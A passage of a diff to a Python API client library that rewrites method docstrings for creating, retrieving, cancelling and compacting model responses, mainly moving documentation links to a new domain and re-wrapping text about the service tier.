+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -839,15 +845,15 @@ def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -856,7 +862,7 @@ def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -864,7 +870,7 @@ def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -878,14 +884,14 @@ def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -894,13 +900,15 @@ def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -915,7 +923,7 @@ def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -927,8 +935,8 @@ def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -941,17 +949,18 @@ def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -976,7 +985,7 @@ def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -1500,7 +1509,7 @@ def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
extra_headers: Send extra headers
@@ -1537,7 +1546,7 @@ def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
include: Additional fields to include in the response. See the `include` parameter for
@@ -1586,7 +1595,7 @@ def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
include: Additional fields to include in the response. See the `include` parameter for
@@ -1704,7 +1713,7 @@ def cancel(
Only responses created with the
`background` parameter set to `true` can be cancelled.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
Args:
extra_headers: Send extra headers
@@ -1860,16 +1869,16 @@ def compact(
Returns a compacted response object.
Learn when and how to compact long-running conversations in the
- [conversation state guide](https://platform.openai.com/docs/guides/conversation-state#managing-the-context-window).
+ [conversation state guide](https://developers.openai.com/api/docs/guides/conversation-state#managing-the-context-window).
For ZDR-compatible compaction details, see
- [Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
+ [Compaction (advanced)](https://developers.openai.com/api/docs/guides/conversation-state#compaction-advanced).
Args:
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
input: Text, image, or file inputs to the model, used to generate a response
@@ -1880,7 +1889,7 @@ def compact(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt_cache_key: A key to use when reading from or writing to the prompt cache.
@@ -1892,7 +1901,7 @@ def compact(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: How long to retain a prompt cache entry created by this request.
@@ -1902,17 +1911,17 @@ def compact(
Project settings. Unless otherwise configured, the Project will use 'default'. -
If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model. - If set to
- '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the
- request will be processed with the Flex Processing service tier. - To opt-in to
- [Fast mode](/api/docs/guides/fast-mode) at the request level, include the
- `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. For models with a dedicated Fast tier, either value resolves to
- `service_tier=fast`; for other models, either value resolves to
- `service_tier=priority`. - When not set, the default behavior is 'auto'. When
- the `service_tier` parameter is set, the response body will include the
- `service_tier` value based on the processing mode actually used to serve the
- request. This response value may be different from the value set in the
- parameter.
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier. - To opt-in
+ to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. For models with a dedicated Fast
+ tier, either value resolves to `service_tier=fast`; for other models, either
+ value resolves to `service_tier=priority`. - When not set, the default behavior
+ is 'auto'. When the `service_tier` parameter is set, the response body will
+ include the `service_tier` value based on the processing mode actually used to
+ serve the request. This response value may be different from the value set in
+ the parameter.
extra_headers: Send extra headers
@@ -2048,20 +2057,20 @@ async def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -2093,11 +2102,11 @@ async def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -2107,7 +2116,7 @@ async def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -2124,8 +2133,8 @@ async def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -2133,15 +2142,15 @@ async def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -2150,7 +2159,7 @@ async def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -2158,7 +2167,7 @@ async def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -2172,14 +2181,14 @@ async def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -2188,13 +2197,15 @@ async def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -2209,13 +2220,13 @@ async def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -2228,8 +2239,8 @@ async def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -2242,17 +2253,18 @@ async def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -2277,7 +2289,7 @@ async def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -2334,27 +2346,27 @@ async def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -2386,11 +2398,11 @@ async def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -2400,7 +2412,7 @@ async def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -2417,8 +2429,8 @@ async def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -2426,15 +2438,15 @@ async def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -2443,7 +2455,7 @@ async def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -2451,7 +2463,7 @@ async def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -2465,14 +2477,14 @@ async def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -2481,13 +2493,15 @@ async def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -2502,7 +2516,7 @@ async def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -2514,8 +2528,8 @@ async def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -2528,17 +2542,18 @@ async def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -2563,7 +2578,7 @@ async def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -2620,27 +2635,27 @@ async def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -2672,11 +2687,11 @@ async def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
